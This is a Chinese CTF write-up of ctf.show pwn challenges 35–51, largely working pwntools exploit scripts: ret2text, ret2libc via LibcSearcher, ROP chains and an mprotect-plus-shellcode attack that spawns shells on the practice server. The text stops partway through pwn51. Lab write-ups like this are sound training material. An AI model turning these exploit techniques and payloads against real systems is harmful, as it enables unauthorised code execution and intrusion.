
观察一下函数ctfshow,
这里的dest[104]
所以应该是利用栈溢出
ai再搜了一下./pwnme *****的意思是
所以向argv输入超过140个字节
ssh ctfshow@pwn.challenge.ctf.show -p28269还懵了一下不知道怎么用,结果扔到ubuntu就行了,同时也注意到了cat ./pwnme和./pwnme的呈现内容有差别(前者是乱的)
原因如此
直接打开pwnme

输入大于104字节的内容之后

ctfshow{a9ac2a16-c544-47f3-a6af-b631f8393e14}
pwn36



[esp+0h] [ebp-28h]压栈,留出36字节空位给数组s,我看别人写wp中写返回地址会在ebp上面,占4字节(因为这是32位的文件,64位文件是8字节)
,所以利用栈溢出,填满s(36)+4(覆盖4字节返回地址)=40字节,最后返回到gat_flag函数的地址

gdb ./pwn动态调试,找到get_flag函数的起始地址:
(反正人家wp是这么写的,其实不如用ida直接看)

其实也可以直接通过空格转换成文本视图找到函数地址:
所以payload如下:
1 2 3 4 5 6 7 8 9 10
| from pwn import * p = remote("pwn.challenge.ctf.show", 28107)
offset=0x28+0x4 getflag_addr=0x8048586
payload=b'a'*offset + p32(getflag_addr)
p.sendline(payload) p.interactive()
|
加了p.interactive()之后pycharm可以直接交互了,不用在Ubuntu上跑了
要写成
原因是
运行paylaod即可:

ctfshow{96a92129-dbab-4582-962e-3c5c3349c739}
pwn37
1 2 3 4 5 6 7 8 9
| int __cdecl main(int argc, const char argv, const char envp) { init(&argc); logo(); puts("Just very easy ret2text&&32bit"); ctfshow(); puts("\nExit"); return 0; }
|
1 2 3 4 5 6
| ssize_t ctfshow() { char buf[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, buf, 0x32u);#只有14字节读0x32,栈爆爆爆 }
|

所以套路跟pwn36应该是一样的
1 2 3 4 5 6 7 8 9 10
| from pwn import * p = remote("pwn.challenge.ctf.show", 28255)
offset=0x12+0x4 getflag_addr=0x8048521
payload=b'a'*offset + p32(getflag_addr)
p.sendline(payload) p.interactive()
|


可以可以(因为居然没看提示没问ai就做出来了嘻嘻):
ctfshow{1706f0f4-76d3-4eec-a2e1-7589a304dae1}
pwn38
提示:64位的 system(“/bin/sh”) 后门函数给你

64位的
所以ida64:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| int __fastcall main(int argc, const char argv, const char envp) { setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); puts(" ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ "); puts(asc_400890); puts( " ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██"); puts(asc_4009A0); puts(asc_400A30); puts(asc_400AB8); puts( " ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀ "); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Stack_Overflow "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : It has system and '/bin/sh'.There is a backdoor function"); puts(" * ************************************* "); puts("Just easy ret2text&&64bit"); ctfshow(); puts("\nExit"); return 0; }
|
1 2 3 4 5 6
| ssize_t ctfshow() { char buf[10]; // [rsp+6h] [rbp-Ah] BYREF
return read(0, buf, 0x32uLL); }
|
所以payload的p32换成p64,同时64位程序涉及到一个“栈对齐”的概念:(两个解释都行)
ai解释

别人wp中解释


1 2 3 4 5 6 7 8 9
| from pwn import * p = remote("pwn.challenge.ctf.show", 28306)
offset=0xA+0x8 getflag_addr=0x400657 gflea_addr=0x40065B #这里也可以是gfretn的地址0x40066C payload=b'a'*offset + p64(gflea_addr) + p64(getflag_addr) p.sendline(payload) p.interactive()
|
剩余流程相同

ctfshow{b6d70d92-c3e5-45b5-b31c-c26226c47fec}
pwn39
32位的 system(); “/bin/sh”

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| int __cdecl main(int argc, const char argv, const char envp) { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); puts(" ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ "); puts(asc_80487E0); puts( " ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██"); puts(asc_80488E8); puts(asc_8048978); puts(asc_80489FC); puts( " ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀ "); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Stack_Overflow "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : It has system and '/bin/sh',but they don't work together"); puts(" * ************************************* "); puts("Just easy ret2text&&32bit"); ctfshow(&argc); puts("\nExit"); return 0; }
|
1 2 3 4 5 6
| ssize_t ctfshow() { char buf[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, buf, 0x32u); }
|

我勒个移花接木啊。。


在这种没有现成的system(/bin/sh)的情况下需要先跳转到system函数处(plt段地址),添加返回地址,指向/bin/sh字段,所以payload如下:

1 2 3 4 5 6 7 8 9 10 11
| from pwn import * p = remote("pwn.challenge.ctf.show", 28299)
offset=0x12+0x4 binsh_addr=0x8048750 system_addr=0x80483a0
payload=b'a'*offset + p32(system_addr) + p32(0) +p32(binsh_addr) #p32(0)我的理解是地址占位符 p.sendline(payload) p.interactive()
|

ctfshow{6541a8ef-a952-4f05-bac4-73d16021d899}
pwn40
跟pwn37-pwn38是一样的,涉及到64位elf堆栈平衡:
关于pwn64位amd构造payload时的堆栈平衡问题以及32位与64位构造payload的区别与注意事项_64位 pwn 栈平衡-CSDN博客
关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26 - 博客园
CTFshow-pwn入门-栈溢出pwn39-pwn40_ctfshow pwn39-CSDN博客
堆栈平衡原理:

只有pop\ret\push等等会出现压栈、出栈等出现寄存器地址变化的操作变化的。
这里对比一下,pwn38中直接到backdoor函数可以出结果,pwn40需要把/bin/sh传到system函数中(“/bin/sh”的地址应该是data层的,而不是函数中间的40065B
)。

pwn38

pwn40
这里是用rdi寄存器传递“/bin/sh”,所以要获取pop rdi指令的地址:
ROPgadget --binary pwn --only "pop|ret"(因为后面也需要ret指令来做到堆栈平衡,所以一起拿了)

1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import * p = remote("pwn.challenge.ctf.show", 28178)
offset=0xA+0x8 pop_rdi_addr=0x4007e3 #用rdi传参,需要传到rdi寄存器中 binsh_addr=0x400808 system_addr=0x400520 ret_addr=0x4004fe
payload=b'a'*offset + p64(pop_rdi_addr) +p64(binsh_addr) + p64(ret_addr) + p64(system_addr)
p.sendline(payload) p.interactive()
|

ctfshow{c851c3d0-503e-4d76-a0cc-7f053ebb13ad}
pwn41

1 2 3 4 5 6
| ssize_t ctfshow() { char buf[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, buf, 0x32u); }
|
1 2 3 4 5
| int hint() { system("echo flag"); return 0; }
|
1 2 3 4
| int useful() { return printf("sh"); }
|
跟39几乎是一样的,只是没放在一起,地址换一下即可
1 2 3 4 5 6 7 8 9 10 11
| from pwn import * p = remote("pwn.challenge.ctf.show", 28302)
offset=0x12+0x4 sh_addr=0x80487BA system_addr=0x80483D0
payload=b'a'*offset + p32(system_addr) + p32(0) +p32(sh_addr)
p.sendline(payload) p.interactive()
|

ctfshow{55b51923-d4dd-430f-b1cb-f773cac12d22}
pwn42

跟40一样,改地址即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import * p = remote("pwn.challenge.ctf.show", 28186)
offset=0xA+0x8 pop_rdi_addr=0x400843 #用rdi传参,需要传到rdi寄存器中 binsh_addr=0x400872 system_addr=0x400560 ret_addr=0x40053e
payload=b'a'*offset + p64(pop_rdi_addr) +p64(binsh_addr) + p64(ret_addr) + p64(system_addr)
p.sendline(payload) p.interactive()
|

ctfshow{e2b990cb-fe6a-408c-ae8b-e63ca74c97b2}
pwn43
参考
ctfshow pwn43-CSDN博客
ps:看了其他好多文章没看懂,这篇文章写得清楚点


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| int hint() { unsigned int v0; // eax int result; // eax int v2; // [esp+8h] [ebp-10h] BYREF int v3; // [esp+Ch] [ebp-Ch]
v0 = time(0); srand(v0); v3 = rand(); __isoc99_scanf("%d", &v2); result = v2; if ( v3 == v2 ) return system("where is shell?"); return result; }
|
这里的rand、srand函数是用来生成随机数字的。不用管。
这道题目中是没有找到“/bin/sh”or“/sh”,所以要用的办法是找到可写的data段,然后把“/bin/sh”写到data段当中,然后再用跟前面类似的方法得flag。
调了一天的gdb没调试出来蒜鸟蒜鸟。。
看一下别人的vmmap的结果吧:

这里能看到文件中0x804b000-0x804c000的位置是可以r&w,所以把文本“/bin/sh”写在这里。
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import * p = remote("pwn.challenge.ctf.show", 28118)
offset=0x6C+0x4 gets_addr=0x8048420 sh_addr=0x804b000+16 system_addr=0x8048450
payload=b'a'*offset + p32(gets_addr) + p32(system_addr) +p32(sh_addr) + p32(sh_addr)
p.sendline(payload) p.sendline(b'/bin/sh') p.interactive()
|
这里的shaddr一个给gets函数一个给system函数

ctfshow{db510b14-2ca9-4412-80ad-1cd0762abfad}

pwn44
和p43内容相同,换成了64位
不知道什么原因,elf32pwndbg调试不了,64的就行:

打断点

这里能看到 0x602000 0x603000是可以写入的

光看vmmap的话不行,还要定位到ida里面的buffer2的空位置

ROPgadget --binary pwn --only "pop|ret"
找到寄存器地址
0x00000000004007f3 : pop rdi ; ret
0x00000000004004fe : ret


system函数和gets函数地址
所以payload的基本顺序就是offset*a+pop_rdi+buf2+ret+gets+pop_rid+buf2+ret+sys
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * p = remote("pwn.challenge.ctf.show", 28108)
offset=0xA+0x8 pop_rdi_addr=0x4007f3 gets_addr=0x400530 binsh_addr=0x602000+64 system_addr=0x400520 ret_addr=0x4004fe
payload=(b'a'*offset + p64(pop_rdi_addr) + p64(binsh_addr) + p64(ret_addr) + p64(gets_addr) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr))
p.sendline(payload) p.sendline(b'/bin/sh')
p.interactive()
|

ctfshow{b31480b8-2058-400a-8e31-fab0ede25575}
pwn45
参考
CTFshow-PWN-栈溢出(pwn45)_ctfshow pwn45-CSDN博客
Basic-ROP
前置知识:


PLT/GOT调用机制:
pwntools库亦可以直接看elf文件的安全机制情况:
1 2
| from pwn import * elf = ELF(r"E:\CTF\pwn学习\45\pwn")
|

至此开始这道题wp:

沉淀归来。9/28
程序内部没有直接可以使用的system(/bin/sh)这样的后门函数,且有NX保护,所以利用ret2libc的办法到动态库中去找system函数。程序内部通过plt.表链接got.表,由于延迟绑定(优化),所以需要先让puts函数运行之后,再利用相对位置找到libc库中的system函数劫持程序。


在32位系统中,很多共享库(如libc)的地址高字节是\xf7,地址为4字节,
据此可以写出第一段payload
1 2 3 4 5 6
| puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main=elf.sym['main']
payload1=b'a'*(0x6B+4)+p32(puts_plt)+p32(main)+p32(puts_got) p.sendline(payload1)
|
栈溢出+执行puts函数(完成了延迟绑定)+重新跳转回main函数+再转到动态链接的puts函数地址
1 2 3 4 5 6 7
| libc=LibcSearcher('puts', puts) # 根据puts函数的偏移量找到对应的libc库 libc_base=puts-libc.dump('puts') # libc.dump('puts') 是 puts 函数在 libc 文件中的偏移地址,减去这个偏移地址,我们可以得到 libc 库在运行时的基地址 system = libc_base + libc.dump('system') bin_sh = libc_base + libc.dump('str_bin_sh') #根据基地址找到对应的函数的地址
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import * from LibcSearcher import *
p=remote('pwn.challenge.ctf.show',28176) elf=ELF(r"E:\CTF\pwn学习\45\pwn") # 加载ELF(可执行和可链接格式)二进制文件到elf对象中,使我们能够轻松访问符号、地址和段
puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main=elf.sym['main']
payload1=b'a'*(0x6B+4)+p32(puts_plt)+p32(main)+p32(puts_got) p.sendline(payload1)
puts = u32(p.recvuntil(b'\xf7')[-4:]) print(hex(puts)) # 接收数据,直到遇到字节\xf7(在32位系统中,很多共享库(如libc)的地址高字节是\xf7) # 取接收到的数据的最后 4 个字节,因为 puts 函数的地址是 32 位(4 个字节) # 泄露 puts 函数在 GOT 表中的实际地址
libc=LibcSearcher('puts', puts) # 根据puts函数的偏移量找到对应的libc库 libc_base=puts-libc.dump('puts') # libc.dump('puts') 是 puts 函数在 libc 文件中的偏移地址,减去这个偏移地址,我们可以得到 libc 库在运行时的基地址 system = libc_base + libc.dump('system') bin_sh = libc_base + libc.dump('str_bin_sh') #根据基地址找到对应的函数的地址
payload2=b'a'*(0x6B+4)+p32(system)+p32(0)+p32(bin_sh) p.sendline(payload2)
p.interactive()
|

ctfshow{77ba81ec-577d-496b-89e6-923544380a6c}
pwn46

先获取puts函数在动态链接库中的地址所以payload1思路=offset*a+rdi_ret_addr+puts_got+puts_plt+返回地址(这里需要重新运行一遍),执行流程如下:

所以第二个payload=offset*a+ret_addr+rdi_ret_addr+binsh_addr+system_addr+ctfshow
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import * from LibcSearcher import *
p=remote('pwn.challenge.ctf.show',28134) elf=ELF(r"E:\CTF\pwn学习\46\pwn")
puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] ctfshow= elf.symbols['ctfshow'] main=elf.sym['main'] offset=0x70+8 pop_rid_addr = 0x400803 ret_addr=0x4004fe
payload1=b'a'*offset+p64(pop_rid_addr)+p64(puts_got)+p64(puts_plt)+p64(ctfshow) p.sendline(payload1)
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print(hex(puts))
libc=LibcSearcher('puts', puts) libc_base=puts-libc.dump('puts')
system = libc_base + libc.dump('system') bin_sh = libc_base + libc.dump('str_bin_sh')
payload2=b'a'*offset+p64(ret_addr)+p64(pop_rid_addr)+p64(bin_sh)+p64(system)+p64(ctfshow) p.sendline(payload2)
p.interactive()
|
pwn47


gets函数能获取任意长度的内容,是栈溢出的利用手段。
跟踪一下useful

发现了/bin/sh

发现他会把一些关键函数/变量名字告诉我们like gift;同时利用这里的函数地址来获取system函数的地址。
system函数获取方式:利用puts函数,算出基地址,在根据偏移量获取system函数地址:
1 2 3 4
| puts_addr = 0x804b028 libc = LibcSearcher('puts', puts_addr) base_addr = puts_addr - libc.dump('puts') system_addr = base_addr + libc.dump('system')
|
payload=offset+system+0+bin_sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * from LibcSearcher import *
p = remote('pwn.challenge.ctf.show',28257)
bin_sh_addr = 0x804b028 p.recvuntil(b"puts: ") puts_addr = eval(p.recvuntil(b"\n", drop = True)) print(puts_addr)
# pa_str="f7de6360" # puts_addr=int(pa_str,16)
# puts_addr=eval("0xf7de6360")
libc = LibcSearcher('puts', puts_addr) base_addr = puts_addr - libc.dump('puts') system_addr = base_addr + libc.dump('system')
offset=0x9c+0x4 payload=offset*b'a'+ p32(system_addr)+p32(0)+p32(bin_sh_addr) p.recvuntil(b"time: ") p.sendline(payload)
p.interactive()
|
# pa_str="f7de6360"
# puts_addr=int(pa_str,16)
# puts_addr=eval("0xf7de6360")
反正这两个办法都没有成功。。俺也不知道为啥,只能用recvuntil函数来调用。
pwn48



0xC8=200,栈溢出
这不就是46吗。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * from LibcSearcher import *
elf=ELF(r"E:\CTF\pwn学习\48\pwn") p=remote('pwn.challenge.ctf.show',28147)
puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main=elf.sym['main'] offset = 0x6B+4 payload1=b'a'*offset+p32(puts_plt)+p32(main)+p32(puts_got)
p.sendline(payload1) puts = u32(p.recvuntil(b'\xf7')[-4:]) print(hex(puts))
libc=LibcSearcher('puts', puts) libc_base=puts-libc.dump('puts') system = libc_base + libc.dump('system') bin_sh = libc_base + libc.dump('str_bin_sh') payload2=b'a'*offset+p32(system)+p32(0)+p32(bin_sh)
p.sendline(payload2) p.interactive()
|
pwn49
前置知识
参考:
CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用)_ctfshow pwn49-CSDN博客
这里涉及mprotect函数:
1 2
| #include <sys/mman.h> // 包含此头文件 int mprotect(void *addr, size_t len, int prot);
|
void *addr:
- 指向需要修改权限的内存区域的起始地址。
- 关键要求: 这个地址
addr必须是系统分页大小(sysconf(_SC_PAGESIZE)或 getpagesize()的返回值,通常是 4096 字节)的整数倍。也就是说,它必须与一个内存页的起始地址对齐。尝试修改非页对齐地址的权限会导致失败(返回 -1,errno设置为 EINVAL)。
size_t len:
- 需要修改权限的内存区域的长度(以字节为单位)。
- 系统内部实际上会将
len向上舍入到最近的系统分页大小的整数倍。例如,如果你的页大小是 4096 字节,传入 len=5000,实际修改的区域长度会是 8192 字节(覆盖了包含这 5000 字节的两个完整页)。
int prot:
- 指定要设置的新访问权限。它是一个位掩码,可以通过按位或
|组合以下常量:
- prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ;2)PROT_WRITE;3)PROT_EXEC;4)PROT_NONE
PROT_NONE: 内存区域完全不可访问(读、写、执行都不行)。这是最强的保护。
PROT_READ: 允许读取该内存区域的内容。
PROT_WRITE: 允许写入(修改)该内存区域的内容。
PROT_EXEC: 允许执行该内存区域的内容(即可以将该区域作为机器代码执行)。
这里的参数prot:r:4\w:2\x:1 → prot为**7**(1+2+4)就是rwx可读可写可执行
26/1/22补充:
这里是由于二进制问题导致r:4\w:2\x:1,其实应该是读、写、执行分别对应0b100、0b010、0b001,转10进制就是4、2、1,哪个可用,哪一位就为1
常见的组合:
PROT_READ | PROT_WRITE:可读可写。
PROT_READ | PROT_EXEC:可读可执行(常用于代码段)。
PROT_READ | PROT_WRITE | PROT_EXEC:可读可写可执行(需谨慎使用,有安全风险)。
PROT_NONE:禁止访问(用于保护敏感数据或隔离区域)。
PROT_READ:只读。
返回值:
0: 成功。
-1: 失败。此时全局变量 errno会被设置以指示具体的错误原因。
常见的 errno值及其含义:
EACCES: 尝试设置一个权限,但该权限与底层内存对象的属性冲突。例如: 尝试写入一个由 mmap映射的文件区域,但该文件是以只读方式打开的。 尝试将内存设置为 PROT_EXEC,但系统策略(如 PaX/grsecurity 的 MPROTECT限制或 SELinux 策略)禁止了这种操作。
EINVAL: addr不是有效的页对齐地址(最常见原因)。 len为 0 或负数。 prot包含无效的标志位(不是 PROT_NONE, PROT_READ, PROT_WRITE, PROT_EXEC或其有效组合)。 指定的内存区域包含不属于进程地址空间的地址(部分或全部无效)。
ENOMEM: 内核内部用于描述该内存区域的数据结构不足。 指定的地址范围 [addr, addr+len-1]包含了无效的地址(不在进程的地址空间内)。注意:有些系统可能用 EINVAL表示此错误。 (较少见)修改权限的操作导致需要分配新的页表项等元数据,但内存不足。
题解
回到本题目


这道题无法使用libc库,因为这道题没办法动态链接
所以会涉及到mprotect,思路如下:
既然程序是静态连接,并且里面没有system函数,我们就不能使用ret2libc来打了。所以我们就是用mprotect函数来打,因为mprotect函数可以修改一段内存空间的权限,那我们选择一段内存空间将它的权限修改为可读可写可执行,然后将shellcode写在这段空间,之后再将程序的控制流转到这里,不就可以执行shellcode了嘛?即使文件开启了NX,但是我们利用的是栈之外的空间,不就轻松绕过了NX。

明显栈溢出:offset=0x12+0x4
26/1/22补充:
其实这里应该再要看一下有没有canary部分(因为前面是canary found的)

显然是没有检验部分,所以可以栈溢出。
接下来就是再填入一个mprotect函数的返回地址,这个返回地址可是大有讲究,因为我们需要将它的返回地址设置为read函数的地址,这样我们才能利用read函数将shellcode写到内存空间里。
这样我们的大概思路就是:
填充地址 + mprotect函数 + 传参指令3p1r+ 返回地址+ mprotect的三个参数 + read函数+返回地址+read函数的三个参数
我们看到mprotect函数是有三个参数的我们就必须要找到一个具有三个pop一个ret的gadget,因为,我们将三个参数pop之后,栈顶就是read函数的地址了,这样ret之后就跳到read函数执行了。
ROPgadget --binary pwn --only ~~~~"pop|ret" | grep "pop"

0x08056194`0x0809f805\0x080a019b\0x08061c3b`等等,只要是3pop1ret都能用

read函数的地址080488C3
第一个参数,我们要修改权限的内存空间起始地址,我们就是用got表的起始地址来存放shellcode。我们使用readelf -S pwn命令可以查看所有节头信息,里边就包含got表的起始地址。

plt表起始地址:080da000
然后第二个参数是修改的空间大小为多少,我们就选用0x1000,足够我们的shellcode使用了。
第三个参数的我们对这片空间赋予的权限是什么,7代表可读可写可执行,这就跟linux文件权限的道理是一样的。
别人的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import *
p = remote("pwn.challenge.ctf.show", "28141") payload = 22 * ‘a’ payload += p32(0x0806cdd0) payload += p32(0x08056194) payload += p32(0x080da000) payload += p32(0x1000) payload += p32(0x7)
shellcode = asm(shellcraft.sh(),arch=’i386’,os=’linux’)
payload += p32(0x806bee0) payload += p32(0x080da000) payload += p32(0x0) payload += p32(0x080da000) payload += p32(len(shellcode)) p.recvuntil(" * ************************************* ") p.sendline(payload) p.sendline(shellcode) p.interactive()
|
read= elf.symbols['read']
这个玩意的结果是10进制的 我去,这我能说啥。。,没关系我们用~~hex()~~就行,不需要hex,直接用就行了
看了一下别人的payload,发现跟前面写的风格还是相差比较远,所以用前面的风格复现一下。
shellcaft.sh()就是自动写一个/bin/sh


read的地址:p read(p=print)

0x806bee0
1 2
| #include <unistd.h> ssize_t read(int fd, void *buf, size_t count);
|
也就是说用到read函数的时候也需要三个参数(标准输入、buffer就转到可读写的那片区域、shellcode长度)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import * from LibcSearcher import *
elf=ELF(r"E:\CTF\pwn学习\49\pwn") p = remote("pwn.challenge.ctf.show", "28139")
offset=0x12+0x4 read= hex(elf.symbols['read']) mprotect= hex(elf.symbols['mprotect'])
read= elf.symbols['read'] mprotect= elf.symbols['mprotect'] pppt_addr=0x08056194
space=0x1000 permission=0x7 plt_start_addr = 0x080da000
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
payload = offset*b'a'
payload += (p32(mprotect)+ p32(pppt_addr)+ p32(plt_start_addr)+ p32(space)+ p32(permission))
payload += (p32(read)+ p32(plt_start_addr)+ p32(0x0)+ p32(plt_start_addr)+ p32(len(shellcode)))
p.recvuntil("*************") p.sendline(payload) p.sendline(shellcode) p.interactive()
|
解释:还没看完
https://node1.niceaigc.net/c/69720463-0760-832f-81b6-3b297f103fa5
pwn50
ctfshow pwn50-CSDN博客
1 2 3 4 5 6 7
| [*] 'E:\\CTF\\pwn学习\\50\\pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
|
是动态链接 libcseacher我们来辣!
1 2 3 4
| $ ldd pwn linux-vdso.so.1 (0x00007fff3a5e2000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ee876000000) /lib64/ld-linux-x86-64.so.2 (0x00007ee876285000)
|
指明了动态链接的libc库
1 2 3 4 5 6 7
| int __fastcall __noreturn main(int argc, const char argv, const char envp) { init(argc, argv, envp); logo(); ctfshow(); exit(0); }
|
1 2 3 4 5 6 7
| __int64 ctfshow() { char v1[32];
puts("Hello CTFshow"); return gets(v1); }
|
还是有一个puts函数,可以用来寻基址。
所以这道题和前面一道题一模一样。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import * from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
elf = ELF(r"E:\CTF\pwn学习\50\pwn") p = remote("pwn.challenge.ctf.show", "28216")
puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] ctfshow= elf.symbols['ctfshow'] main=elf.sym['main'] offset=0x20+8 pop_rid_addr = 0x4007e3 ret_addr=0x4004fe
payload1=b'a'*offset+p64(pop_rid_addr)+p64(puts_got)+p64(puts_plt)+p64(main) p.sendline(payload1)
|
可以在发完payload之后加以下内容,看返回的内容
1 2
| recv = p.recvrepeat(0.5) print(recv)
|

所以可以recv直到0x7f,保留最后6个字节,按照小端序(pwntools用小端序),利用ljust在前面填充0x00到8字节

1 2
| puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print(hex(puts))
|
因为开启 ASLR 后,libc 每次运行加载到的地址都会变(随机化),但:
- libc 内部各函数/字符串的偏移(offset)是固定的
- 例如
puts 距离 libc 开头的偏移是固定的:puts_offset
system_offset、"/bin/sh"_offset 也固定
所以利用已经找到的puts在libc的地址和libc中固定的偏移量找到base基址,从而找到system函数。
对于libc库的部分提供两种办法:
法一:可以用libcsearcher(需要联网)
1 2 3 4 5
| from LibcSearcher import * libc=LibcSearcher('puts', puts) libc_base=puts-libc.dump('puts') system = libc_base + libc.dump('system') bin_sh = libc_base + libc.dump('str_bin_sh')
|

法二:用ldd找到对应的libc库

1 2 3 4 5 6 7 8 9 10 11
| libc = ELF(r"/lib/x86_64-linux-gnu/libc.so.6")
puts_off = libc.sym['puts'] sys_off = libc.sym['system'] binsh_off = next(libc.search(b"/bin/sh\x00"))
libc_base = puts - puts_off
system = libc_base + sys_off bin_sh = libc_base + binsh_off
|
有了以上信息则可以写出第二段payload(payload1回到了main函数)
1 2 3
| payload2=b'a'*offset+p64(ret_addr)+p64(pop_rdi_addr)+p64(bin_sh)+p64(system) p.sendline(payload2) p.interactive()
|

成功。
补充:

gets函数的调用如下:
我们转到汇编格式

可以看到是PLT表,他这里直接jmp到0x602020也就是GOT.PLT表(这个是中专门服务于PLT表的 在GOT表中的子分区)

再接着追踪这里的gets函数

能看到这里指向的是一个外部函数(external)
当elf运行之后,got表会存下外部libc中函数对应的地址
解2(failed)
除此之外,我在网上看到了另一种解法
参考

这道题逻辑是:
泄露libc→mprotect弄出一块可写的区域→发送shellcode
1
| payload1=b'a'*offset + p64(pop_rdi_ret) +p64(puts_plt)+p64(puts_got) +p64(main)
|
1 2 3 4 5
| payload2 = (b'a' * offset + p64(pop_rdi) + p64(bss_page) + p64(pop_rsi_r15) + p64(0x1000) + p64(0) + p64(pop_rdx) + p64(0x7) + p64(mprotect) + p64(ctfshow))
|
1 2 3 4
| payload3 = (b'a' * offset + p64(pop_rdi) + p64(bss) + p64(elf.plt['gets']) + p64(bss))
|
不过没成功。。没想通
附:64位shellcode发送格式
1 2 3 4 5 6 7 8 9 10 11
| from pwn import * from LibcSearcher import * import os
os.environ['AS'] = r'D:\Program Files\msys2-64\mingw64\bin\as.exe' os.environ['PATH'] = r'D:\Program Files\msys2-64\mingw64\bin;' + os.environ.get('PATH', '')
context.arch = 'amd64' context.os = 'linux'
shellcode_64 = asm(shellcraft.sh())
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import * context(arch='amd64', os='linux', log_level='debug') io = process('./pwn')
elf = ELF('./pwn') pop_rdi_ret = 0x00000000004007e3 ret_gadget = 0x00000000004004fe main = elf.sym['main'] print(f"main function address: {hex(main)}")
payload = cyclic(40) payload += p64(pop_rdi_ret) payload += p64(elf.got['puts']) payload += p64(elf.plt['puts']) payload += p64(main) io.sendlineafter(b"Hello CTFshow", payload)
io.recvline() leak_data = io.recvline().strip() puts_addr = u64(leak_data.ljust(8, b'\x00')) print(f"Leaked puts address: {hex(puts_addr)}")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc_base = puts_addr - libc.sym['puts'] print(f"Libc base address: {hex(libc_base)}")
system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) print(f"System address: {hex(system_addr)}") print(f"/bin/sh address: {hex(binsh_addr)}")
payload = cyclic(40) payload += p64(ret_gadget) payload += p64(pop_rdi_ret) payload += p64(binsh_addr) payload += p64(system_addr) io.sendlineafter(b"Hello CTFshow", payload)
io.interactive()
|
这集神了 做了得有多久..

pwn51
1 2 3 4 5 6 7 8 9
| $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/51/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) $ file pwn pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=948891884c9b0d405b050ac809c06cbb25e49774, stripped
|
32位动态链接
打开ida分析一下,在String中能找到后门函数和IronMan等等信息
追踪一下能找到溢出的函数:(以下函数改过名字了 我自己方便看)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| int func_overflow() { int v0; int v1; unsigned int i_1; int v3; const char *src; int v6; int v7; _BYTE v8[12]; char s[32]; _BYTE v10[24]; _BYTE v11[24]; unsigned int i;
